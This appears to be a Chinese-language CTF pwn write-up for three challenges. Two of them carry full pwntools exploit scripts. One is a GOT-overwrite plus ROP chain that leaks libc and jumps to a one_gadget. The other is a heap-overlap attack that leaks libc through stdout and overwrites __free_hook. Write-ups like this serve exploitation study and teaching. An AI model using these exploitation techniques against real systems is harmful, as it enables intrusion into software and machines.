bbbaby
控制__stack_chk_fail，栈溢出
from pwn import *
context.os = 'linux'
context.log_level = "debug"
context.arch = 'amd64'
p = process('./pwn1')#, env={"LD_PRELOAD":'./libc-2.27.so'})
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
elf = ELF('./pwn1')
s = lambda data :p.send(str(data))
sa = lambda delim,data :p.sendafter(str(delim), str(data))
sl = lambda data :p.sendline(str(data))
sla = lambda delim,data :p.sendlineafter(str(delim), str(data))
r = lambda num :p.recv(num)
ru = lambda delims, drop=True :p.recvuntil(delims, drop)
itr = lambda :p.interactive()
uu32 = lambda data :u32(data.ljust(4,b'\x00'))
uu64 = lambda data :u64(data.ljust(8,b'\x00'))
leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))
def debug():
gdb.attach(p)
pause()
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
chk_fail = elf.got['__stack_chk_fail']
rdi = 0x0000000000400a03
pl = 'a'*0x118 + p64(rdi) + p64(puts_got) + p64(puts_plt) + p64(0x000000000040086C) + p64(0x00000000004008BB)
p.sendlineafter('choice\n','0')
p.sendlineafter('address:\n',str(chk_fail))
p.sendafter('content:\n',p64(puts_plt))
p.sendlineafter('your choice\n','1')
p.sendlineafter('size:\n',str(0x1000))
p.sendafter('content:\n',pl)
p.sendlineafter('choice\n','2')
libcbase = uu64(r(6)) - libc.sym['puts']
ogg = libcbase + 0x4f322
pl = 'a'*0x118 + p64(ogg)
p.sendlineafter('your choice\n','1')
p.sendlineafter('size:\n',str(0x1000))
p.sendafter('content:\n',pl)
p.sendlineafter('choice\n','2')
itr()
Magic
打开一看
熟悉，像是控制流平坦化，不是，就是控制流平坦化混淆。
清楚llvm的混淆原理，那就慢慢分析叭
很简单就一个emmm uaf就完了主要难在分析上。
由于没有2.23的环境就不打了emmm
h3apclass
ren👴出的题目
这里是存在溢出的，如果把堆块填满的话这里就可以写到下一个堆块的size位置，造成类似off by one的效果，开启了沙盒，心中默念orw优先考虑栈迁移！！！！
已经劫持了，由于16分之一跳起来太难就不搞了
from pwn import *
context.arch = 'amd64'
context.log_level = 'debug'
#p = remote('39.99.242.16',10002)
p = process('./H3apClass')#, env={"LD_PRELOAD":'./libc.so.6'})
elf=ELF('./H3apClass')
libc = ELF('/lib/x86_64-linux-gnu/libc-2.31.so')
s = lambda data :p.send(str(data))
sa = lambda delim,data :p.sendafter(str(delim), str(data))
sl = lambda data :p.sendline(str(data))
sla = lambda delim,data :p.sendlineafter(str(delim), str(data))
r = lambda num :p.recv(num)
ru = lambda delims, drop=True :p.recvuntil(delims, drop)
itr = lambda :p.interactive()
uu32 = lambda data :u32(data.ljust(4,b'\x00'))
uu64 = lambda data :u64(data.ljust(8,b'\x00'))
leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))
def debug():
gdb.attach(p)
pause()
def add(idx,size,content):
sla('4:Drop homework\n',1)
sla('Which homework?\n',idx)
sla('size:\n',size)
p.sendafter('content:\n',content)
def edit(idx,content):
sla('4:Drop homework\n',3)
sla('Which homework?\n',idx)
p.sendafter('content:\n',content)
def delete(idx):
sla('4:Drop homework\n',4)
sla('Which homework?\n',idx)
add(0,0x18,'b'*0x18)
add(1,0xf8,'bpc')
add(2,0xf8,'bpc')
add(3,0xf8,'bpc')
add(4,0xf8,'bpc')
add(5,0xf8,'bpc')
delete(5)
delete(4)
delete(3)
delete(2)
add(2,0xe8,'bpc')
add(3,0xe8,'bpc')
add(4,0xe8,'bpc')
add(5,0x18,'bpc')
pl = b'a'*0x18 + p16(0x7d1)
edit(0,pl)
delete(1)
delete(4)
delete(3)
delete(2)
add(2,0x70,'bpc')
add(3,0x70,'bpc')
add(4,0x10,'\xa0\x36')
delete(3)
delete(2)
add(2,0xf8,'bpc')
add(3,0xf8,p64(0xfbad1887)+p64(0)*3+b'\x00')
libcbase = uu64((ru('\x7f')[-5:]+b'\x7f')) - 0x1EC980
leak('libcbase',libcbase)
free = libcbase + libc.sym['__free_hook']
pl = b'a'*0x18 + p8(0x81)
edit(0,pl)
delete(0)
delete(1)
delete(5)
delete(4)
edit(2,p64(free)[:6])
add(0,0x18,'bpc')
add(1,0x18,'bpc')
ogg = libcbase + 0x154DD0
add(4,0x18,p64(ogg))
debug()
p.interactive()
